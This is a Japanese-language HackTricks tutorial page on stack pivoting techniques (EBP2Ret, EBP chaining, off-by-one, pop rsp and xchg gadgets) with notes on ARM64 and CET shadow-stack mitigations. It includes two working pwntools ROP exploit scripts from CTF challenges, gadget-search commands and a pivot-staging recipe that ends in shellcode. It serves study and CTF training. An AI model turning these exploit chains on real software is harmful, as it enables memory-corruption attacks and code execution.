# スタックピボッティング - EBP2Ret - EBPチェイニング {{#include ../../banners/hacktricks-training.md}} ## 基本情報 この技術は、**ベースポインタ(EBP/RBP)**を操作する能力を利用して、フレームポインタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。 おさらいとして、x86/x86-64において**`leave`**は次のように等価です: ``` mov rsp, rbp ; mov esp, ebp on x86 pop rbp ; pop ebp on x86 ret ``` And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's possible to control it by controlling the stack. > Notes > - On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same. > - Some compilers omit the frame pointer (see “EBP might not be used”). In that case, `leave` might not appear and this technique won’t work. ### EBP2Ret この技術は、**保存された EBP/RBP を変更できるが、EIP/RIP を直接変更する方法がない**場合に特に有用です。関数のエピローグの動作を利用します。 `fvuln` の実行中に、シェルコード/ROP チェーンのアドレスがあるメモリ領域を指す**偽の EBP**をスタックに注入できれば(amd64 では 8 バイト / x86 では 4 バイトの `pop` を考慮)、RIP を間接的に制御できます。関数が戻ると、`leave` が RSP を作成した位置に設定し、その後の `pop rbp` が RSP を減少させ、**攻撃者がそこに保存したアドレスを指すようになります**。その後、`ret` はそのアドレスを使用します。 **2 つのアドレスを知る必要があることに注意してください**: ESP/RSP が移動するアドレスと、`ret` が消費するそのアドレスに保存されている値です。 #### Exploit Construction まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知る必要があります。RSP はここを指し、**最初の `ret` を消費します**。 次に、**実行を転送する**ために `ret` が使用するアドレスを選択する必要があります。次のようなものを使用できます: - 有効な [**ONE_GADGET**](https://github.com/david942j/one_gadget) アドレス。 - **`system()`** のアドレス、その後に適切な戻り値と引数(x86 の場合: `ret` ターゲット = `&system`、次に 4 バイトのジャンク、次に `&"/bin/sh"`)。 - **`jmp esp;`** ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))その後にインラインシェルコード。 - 書き込み可能なメモリにステージされた [**ROP**](../rop-return-oriented-programing/index.html) チェーン。 これらのアドレスの前には、**`leave` からの `pop ebp/rbp` のためのスペースが必要です**(amd64 では 8B、x86 では 4B)。これらのバイトを悪用して、**2 番目の偽 EBP**を設定し、最初の呼び出しが戻った後も制御を維持できます。 #### Off-By-One Exploit 保存された EBP/RBP の最下位バイトのみを**変更できる**場合に使用されるバリアントがあります。この場合、**`ret`** でジャンプするアドレスを格納するメモリ位置は、元の EBP/RBP と最初の 3/5 バイトを共有する必要があるため、1 バイトの上書きでリダイレクトできます。通常、低バイト(オフセット 0x00)は、近くのページ/整列された領域内でできるだけ遠くにジャンプするために増加します。 スタックに RET スレッドを使用し、実際の ROP チェーンを最後に配置して、新しい RSP がスレッド内を指し、最終的な ROP チェーンが実行される可能性を高めることも一般的です。 ### EBP Chaining スタックの保存された `EBP` スロットに制御されたアドレスを配置し、`EIP/RIP` に `leave; ret` ガジェットを配置することで、**`ESP/RSP` を攻撃者が制御するアドレスに移動させる**ことが可能です。 これで `RSP` が制御され、次の命令は `ret` です。制御されたメモリに次のようなものを配置します: - `&(next fake EBP)` -> `leave` から `pop ebp/rbp` によって読み込まれます。 - `&system()` -> `ret` によって呼び出されます。 - `&(leave;ret)` -> `system` が終了した後、RSP を次の偽 EBP に移動させ、続行します。 - `&("/bin/sh")` -> `system` の引数。 このようにして、プログラムのフローを制御するために複数の偽 EBP を連鎖させることが可能です。 これは [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) のようなものですが、より複雑で、エッジケースでのみ有用です。 さらに、ここに [**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) があり、この技術を使用して**スタックリーク**を利用して勝利関数を呼び出します。これはページからの最終ペイロードです: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP) payload += flat( buffer, # Load leaked address in RBP LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` > amd64 アライメントのヒント: System V ABI は、呼び出しサイトで 16 バイトのスタックアライメントを要求します。`system` のような関数を呼び出すチェーンがある場合、アライメントを維持し、`movaps` のクラッシュを避けるために、呼び出しの前にアライメントガジェット(例: `ret` または `sub rsp, 8 ; ret`)を追加してください。 ## EBP は使用されない可能性がある [**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化やフレームポインタの省略でコンパイルされている場合、**EBP/RBP は ESP/RSP を制御しません**。したがって、EBP/RBP を制御することによって機能するエクスプロイトは、プロローグ/エピローグがフレームポインタから復元しないため、失敗します。 - 最適化されていない / フレームポインタが使用されている: ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - 最適化された / フレームポインタが省略された: ```bash push %ebx # save callee-saved register sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ret # return ``` On amd64では、`leave ; ret`の代わりにしばしば`pop rbp ; ret`が見られますが、フレームポインタが完全に省略されている場合、ピボットするための`rbp`ベースのエピローグは存在しません。 ## RSPを制御する他の方法 ### `pop rsp`ガジェット [**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)では、この技術を使用した例を見つけることができます。そのチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp`ガジェット**があり、**スタックからのleak**があります: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg , rsp gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp ret2espテクニックについては、こちらを確認してください: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ### ピボットガジェットを迅速に見つける お気に入りのガジェットファインダーを使用して、クラシックなピボットプリミティブを検索します: - `leave ; ret` 関数またはライブラリ内 - `pop rsp` / `xchg rax, rsp ; ret` - `add rsp, ; ret` (または x86 では `add esp, ; ret`) 例: ```bash # Ropper ropper --file ./vuln --search "leave; ret" ropper --file ./vuln --search "pop rsp" ropper --file ./vuln --search "xchg rax, rsp ; ret" # ROPgadget ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" ``` ### クラシックピボットステージングパターン 多くのCTFやエクスプロイトで使用される堅牢なピボット戦略: 1) 小さな初期オーバーフローを使用して、`read`/`recv`を大きな書き込み可能領域(例:`.bss`、ヒープ、またはマップされたRWメモリ)に呼び出し、そこに完全なROPチェーンを配置します。 2) ピボットガジェット(`leave ; ret`、`pop rsp`、`xchg rax, rsp ; ret`)に戻り、RSPをその領域に移動させます。 3) ステージされたチェーンを続行します(例:libcをリークし、`mprotect`を呼び出し、次にシェルコードを`read`し、それにジャンプします)。 ## スタックピボティングを破る現代の緩和策(CET/シャドウスタック) 現代のx86 CPUとOSはますます**CETシャドウスタック(SHSTK)**を展開しています。SHSTKが有効な場合、`ret`は通常のスタック上の戻りアドレスとハードウェア保護されたシャドウスタックを比較します;不一致があると、制御保護フォルトが発生し、プロセスが終了します。したがって、EBP2Ret/leave;retベースのピボットのような技術は、ピボットされたスタックから最初の`ret`が実行されるとすぐにクラッシュします。 - 背景と詳細については、次を参照してください: {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}} - Linuxでのクイックチェック: ```bash # 1) Is the binary/toolchain CET-marked? readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' # 2) Is the CPU/kernel capable? grep -E 'user_shstk|ibt' /proc/cpuinfo # 3) Is SHSTK active for this process? grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss) # 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags (gdb) checksec ``` - ラボ/CTFのノート: - 一部の最新のディストリビューションは、ハードウェアとglibcのサポートがある場合、CET対応バイナリに対してSHSTKを有効にします。VMでの制御されたテストのために、SHSTKはカーネルブートパラメータ`nousershstk`を介してシステム全体で無効にすることができ、起動時にglibcの調整を介して選択的に有効にすることができます(参照を参照)。本番ターゲットでの緩和策を無効にしないでください。 - JOP/COOPまたはSROPベースの技術は、一部のターゲットで依然として有効かもしれませんが、SHSTKは特に`ret`ベースのピボットを壊します。 - Windowsの注意: Windows 10以降はユーザーモードを公開し、Windows 11はカーネルモードの「ハードウェア強制スタック保護」を追加します。CET互換プロセスは、`ret`でのスタックピボティング/ROPを防ぎます。開発者はCETCOMPATおよび関連ポリシーを介してオプトインします(参照を参照)。 ## ARM64 ARM64では、関数の**プロローグとエピローグ**は**スタックにSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。 したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きすることで**SPレジスタを制御することはできません**。そして、たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法が必要です**。 - プロローグ ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FPはフレームレコードを指します ``` - エピローグ ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` > [!CAUTION] > ARM64でスタックピボティングに似たことを行う方法は、**`SP`**を**制御できること**(`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得しており、オーバーフローがある場合)であり、その後**エピローグを悪用**して**制御された`SP`から**`x30`**レジスタをロードし、**`RET`**します。 次のページでは、**ARM64におけるRet2espの同等物**を見ることができます: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ## 参考文献 - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64ビット、リターンスレッドで始まるROPチェーンを使用したオフバイワンのエクスプロイト - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64ビット、relroなし、カナリア、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。最初にスタックリークを取得し、WWWを使用して戻ってpieリークを取得します。次に、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンが書き込まれ、RBPでピボットして呼び出されます。 - Linuxカーネルドキュメント: 制御フロー強制技術(CET)シャドウスタック — SHSTK、`nousershstk`、`/proc/$PID/status`フラグ、および`arch_prctl`を介しての有効化の詳細。 https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: カーネルモードハードウェア強制スタック保護(WindowsのCETシャドウスタック)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection {{#include ../../banners/hacktricks-training.md}}